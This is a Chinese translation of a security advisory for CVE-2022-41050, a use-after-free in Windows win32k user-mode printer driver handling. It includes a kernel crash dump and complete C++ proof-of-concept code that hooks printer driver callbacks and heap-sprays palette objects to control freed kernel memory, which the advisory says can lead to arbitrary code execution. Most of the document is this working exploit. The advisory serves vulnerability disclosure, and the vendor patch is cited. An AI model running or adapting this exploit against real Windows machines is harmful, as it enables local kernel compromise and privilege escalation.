总结
UMPD(用户模式打印机驱动程序)中存在一个漏洞,允许本地用户触发释放后使用漏洞。该漏洞适用于Windows 8及更高版本,并且在较旧的Windows计算机上很容易被利用。
原文链接:https://ssd-disclosure.com/win32k-user-mode-printer-drivers-startdoc-uaf/
Credit
从事 SSD 安全披露工作的独立安全研究人员。
CVE
CVE-2022-41050
供应商响应
供应商已在以下位置发布了可用的修补程序: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41050
技术分析
BoundClipRGNToSurface 合并表面的方式中存在一个漏洞,使得攻击者能够在释放后触发使用,因为该功能会释放使用的数据,然后访问它。如果释放的内存已正确准备,则攻击者可以控制崩溃并使其执行任意代码。
要触发漏洞,请启用 Windows 11 的特殊池并启动 PoC,将显示以下崩溃信息:
CONTEXT: ffff808ee1ffd8a0 -- (.cxr 0xffff808ee1ffd8a0)
rax=ffff82b24d980f90 rbx=ffff808ee1ffe500 rcx=ffff808ee1ffe440
rdx=ffff82b253fd2f90 rsi=ffff808ee1ffe848 rdi=ffff808ee1ffe4f8
rip=ffff829502061123 rsp=ffff808ee1ffe2c0 rbp=ffff808ee1ffe440
r8=ffff808ee1ffe450 r9=ffff82b253fd4f08 r10=414141414141413d
r11=0000000000000000 r12=0000000000000000 r13=ffff808ee1ffe9a8
r14=ffff82b253fd4f90 r15=4141414141414141
iopl=0 nv up ei pl nz ac pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050212
win32kbase!RGNOBJ::bMerge+0x43:
ffff8295`02061123 418b02 mov eax,dword ptr [r10] ds:002b:41414141`4141413d=????????
Resetting default scope
PROCESS_NAME: poc-bound.exe
STACK_TEXT:
ffff808e`e1ffe2c0 ffff8295`032dcc4b : ffff808e`e1ffe440 ffff808e`e1ffe848 ffff808e`e1ffe450 ffff808e`e1ffe408 : win32kbase!RGNOBJ::bMerge+0x43
ffff808e`e1ffe410 ffff8295`032492d1 : ffff82b2`4d966ce8 00000000`00000000 ffff808e`e1ffea30 ffff808e`e1ffea30 : win32kfull!BOUNDCLIPRGNTOSURFACE::BOUNDCLIPRGNTOSURFACE+0x9385f
ffff808e`e1ffe4a0 ffff8295`0324a97e : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!EngStrokePath+0x61
ffff808e`e1ffe610 ffff8295`0324b05e : 00000000`00000d0d 00000000`1000a01f ffff808e`e1ffe780 00000000`00000001 : win32kfull!EPATHOBJ::bSimpleStroke+0x18a
ffff808e`e1ffe6f0 ffff8295`0324e5e1 : 00000000`00000001 00000000`00000001 00000000`00000000 00000000`00000000 : win32kfull!EPATHOBJ::bStrokeAndOrFill+0x596
ffff808e`e1ffe910 ffff8295`0324df38 : 00000000`14210982 00000000`00000014 ffff808e`00000387 00000000`14210982 : win32kfull!GreLineTo+0x661
ffff808e`e1ffed40 ffff8295`024bd54a : 00000000`0000000e 00000000`0000025f 00000000`000003f8 ffffe784`60c40080 : win32kfull!NtGdiLineTo+0x68
ffff808e`e1ffedf0 fffff801`6b02f075 : 0000016b`f3d70680 0000016b`f6030000 0000003f`49daebd7 ffffe784`60d77080 : win32k!NtGdiLineTo+0x16
ffff808e`e1ffee20 00007ffb`148d1b14 : 00007ffb`13f72339 00007ffb`16acd240 0000016b`f3d71580 00000000`00000387 : nt!KiSystemServiceCopyEnd+0x25
0000003e`c9dae188 00007ffb`13f72339 : 00007ffb`16acd240 0000016b`f3d71580 00000000`00000387 00000000`00000000 : win32u!NtGdiLineTo+0x14
0000003e`c9dae190 00007ffb`14da4d37 : 0000016b`f3d73790 00000000`14210982 00000000`00000001 00000000`00000000 : gdi32full!LineToImpl+0x49
0000003e`c9dae1c0 00007ff7`7c29104c : 0000003e`c9daebd8 0000003e`c9dae320 00000000`000003f8 00000000`0049414e : GDI32!LineTo+0x37
0000003e`c9dae1f0 00007ffb`13f7ccbe : 0000003e`c9daebd8 0000016b`f57ba120 00000000`00000023 00007ffa`ddc50d68 : poc_bound!hook_DrvStrokePath+0x4c [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 111]
0000003e`c9dae230 00007ffb`157910be : 0000016b`00000001 00007ffb`00000000 0000003e`c9daebd8 0000016b`f57b0150 : gdi32full!GdiPrinterThunk+0x177e
0000003e`c9dae300 00007ffb`16b07e04 : 00000000`00000010 0000016b`f5802720 00000000`00000011 00007ffa`ddc4f998 : USER32!__ClientPrinterThunk+0x3e
0000003e`c9daeb80 00007ffb`148d1b14 : 00007ffb`13f72339 0000016b`f57ba170 00007ffa`ddbbbeb3 00000000`00000258 : ntdll!KiUserCallbackDispatcherContinue
0000003e`c9daec38 00007ffb`13f72339 : 0000016b`f57ba170 00007ffa`ddbbbeb3 00000000`00000258 00000000`00000258 : win32u!NtGdiLineTo+0x14
0000003e`c9daec40 00007ffb`14da4d37 : 00007ffa`ddc48ce0 00000000`14210982 00000000`00000001 00000000`00000000 : gdi32full!LineToImpl+0x49
0000003e`c9daec70 00007ff7`7c291146 : 0000003e`c9daf678 0000003e`c9daedc0 0000016b`f3d73790 0000003e`0049414e : GDI32!LineTo+0x37
0000003e`c9daeca0 00007ffb`13f7c55e : 0000003e`c9daf678 00007ffb`13f7c42a 00001b68`00001361 0000003e`c9daf688 : poc_bound!hook_DrvStartDoc+0x16 [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 115]
0000003e`c9daecd0 00007ffb`157910be : 00000000`00000001 00007ffb`00000000 0000003e`c9daf678 00007ffb`00000000 : gdi32full!GdiPrinterThunk+0x101e
0000003e`c9daeda0 00007ffb`16b07e04 : 00000000`00000000 00007ffb`16b07e04 00007ff7`7c293330 0000016b`f3d9e3f0 : USER32!__ClientPrinterThunk+0x3e
0000003e`c9daf620 00007ffb`148d7694 : 00007ffb`13faff32 00000000`00000000 00000000`00000000 00000000`14210982 : ntdll!KiUserCallbackDispatcherContinue
0000003e`c9daf6a8 00007ffb`13faff32 : 00000000`00000000 00000000`00000000 00000000`14210982 00000000`00000003 : win32u!NtGdiStartDoc+0x14
0000003e`c9daf6b0 00007ffb`14dae2c2 : 0000016b`f3da2601 00000000`00000001 0000003e`c9daf8f0 00000000`00000000 : gdi32full!StartDocWImpl+0x5b2
0000003e`c9daf870 00007ff7`7c291301 : 0000016b`f3d55db0 00000000`00000000 00000000`0049414e 00000000`00000000 : GDI32!StartDocW+0x32
0000003e`c9daf8a0 00007ff7`7c291540 : 00000000`00000000 00007ff7`7c2915b9 00000000`00000000 00000000`00000000 : poc_bound!main+0x1b1 [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 130]
0000003e`c9daf940 00007ffb`149154e0 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc_bound!__scrt_common_main_seh+0x10c [d:\a01\_work\43\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
0000003e`c9daf980 00007ffb`16a6485b : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x10
0000003e`c9daf9b0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2b
PoC
#include <stdlib.h>
#include <stdio.h>
#include <limits.h>
#include <iostream>
#include <windows.h>
#include <vector>
#include <winddi.h>
#include <winternl.h>
#define PRINTER_NAME L"Microsoft XPS Document Writer"
typedef BOOL(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);
HMODULE LoadPrinterDll()
{
HANDLE hPrinter = NULL;
// Open printer
if (!OpenPrinterW((LPWSTR)PRINTER_NAME, &hPrinter, NULL))
{
puts("[-] Failed to open printer");
return NULL;
}
// Get the printer driver
DWORD pcbNeeded;
GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
DRIVER_INFO_2W* driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded))
{
return NULL;
}
// Load the printer driver into memory
return LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}
HPALETTE createpalette_primitive(SHORT chunk_size) {
WORD palette_entries_count, palette_size;
LOGPALETTE* palette;
palette_entries_count = (chunk_size - 0x90) / 4;
palette_size = sizeof(LOGPALETTE) + (palette_entries_count - 1) * sizeof(PALETTEENTRY);
palette = (LOGPALETTE*)malloc(palette_size);
memset(palette, 0x41, palette_size);
palette->palNumEntries = palette_entries_count;
palette->palVersion = 0x300;
return CreatePalette(palette);
}
VOID spray(UINT _chunk_size, UINT count) {
for (UINT i = 0; i < count; i++) {
createpalette_primitive(_chunk_size);
}
}
BOOL hook_DrvStrokePath(SURFOBJ* pso, PATHOBJ* ppo, CLIPOBJ* pco, XFORMOBJ* pxo, BRUSHOBJ* pbo, POINTL* pptlBrushOrg, LINEATTRS* plineattrs, MIX mix);
BOOL hook_DrvStartDoc(SURFOBJ* pso, LPWSTR pwszDocName, DWORD dwJobId);
void Setup_UmpdHook() {
HMODULE hPrinter = LoadPrinterDll();
DrvEnableDriver_t DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hPrinter, "DrvEnableDriver");
DRVENABLEDATA ded;
DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(ded), &ded);
DWORD lpOldProtect;
VirtualProtect(ded.pdrvfn, ded.c * sizeof(PFN), PAGE_READWRITE, &lpOldProtect);
for (int i = 0; i < ded.c; i++) {
if (ded.pdrvfn[i].iFunc == INDEX_DrvStrokePath) {
ded.pdrvfn[i].pfn = (PFN)hook_DrvStrokePath;
}
else if (ded.pdrvfn[i].iFunc == INDEX_DrvStartDoc) {
ded.pdrvfn[i].pfn = (PFN)hook_DrvStartDoc;
}
}
}
//=====================
// Umpd Hooks
//=====================
HDC hdc = 0;
int hook_DrvStrokePath_count = 0;
BOOL hook_DrvStrokePath(SURFOBJ* pso, PATHOBJ* ppo, CLIPOBJ* pco, XFORMOBJ* pxo, BRUSHOBJ* pbo, POINTL* pptlBrushOrg, LINEATTRS* plineattrs, MIX mix) {
hook_DrvStrokePath_count++;
if (hook_DrvStrokePath_count == 1) {
ExcludeClipRect(hdc, 0x25f, 0x3f8, 0x1, 0x387);
LineTo(hdc, 0, 0);
}
else if (hook_DrvStrokePath_count == 2) {
ExcludeClipRect(hdc, 0x10a, 0x2d2, 0x243, 0x217);
Ellipse(hdc, 0x15a, 0x3a1, 0x29, 0x10a);
spray(0x120, 0x1000); // Fill the Freed Region with 0x41414141
}
return FALSE; // SHOULD RETURN FALSE
}
BOOL hook_DrvStartDoc(SURFOBJ* pso, LPWSTR pwszDocName, DWORD dwJobId) {
LineTo(hdc, 0, 0); // -> causes hook_DrvStrokePath to be called
return TRUE;
}
int main(int argc, char **argv)
{
Setup_UmpdHook();
hdc = CreateDC(NULL, PRINTER_NAME, NULL, NULL);
DOCINFO di;
ZeroMemory(&di, sizeof(di));
di.cbSize = sizeof(di);
di.lpszDocName = L"Test";
di.lpszOutput = L"Test.xps";
StartDoc(hdc, &di);
return 0;
}